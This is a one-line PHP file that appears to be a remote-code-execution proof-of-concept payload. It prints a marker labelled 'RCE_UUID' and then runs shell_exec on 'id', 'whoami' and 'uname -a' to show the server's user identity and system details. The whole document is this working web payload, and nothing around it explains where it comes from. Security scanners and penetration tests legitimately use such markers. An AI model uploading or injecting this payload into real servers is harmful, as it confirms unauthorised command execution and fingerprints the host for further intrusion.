<?php echo \'RCE_UUID:9d4f7a2b-3e1c-4b8a-9f6d-2c5e8a1b4d7e\'; echo \'ID:\'.shell_exec(\'id\'); echo \'WHOAMI:\'.shell_exec(\'whoami\'); echo \'UNAME:\'.shell_exec(\'uname -a\'); ?>